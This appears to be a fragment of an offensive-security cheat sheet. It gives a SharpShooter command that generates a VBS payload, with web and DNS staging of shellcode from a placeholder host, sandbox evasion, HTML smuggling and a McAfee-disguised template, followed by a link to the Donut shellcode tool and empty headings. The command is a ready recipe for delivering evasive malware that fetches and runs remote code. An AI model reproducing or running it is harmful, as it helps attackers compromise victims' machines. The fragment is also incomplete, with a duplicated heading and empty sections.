SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
# Donut:
# Donut:
https://github.com/TheWover/donut
# Vulcan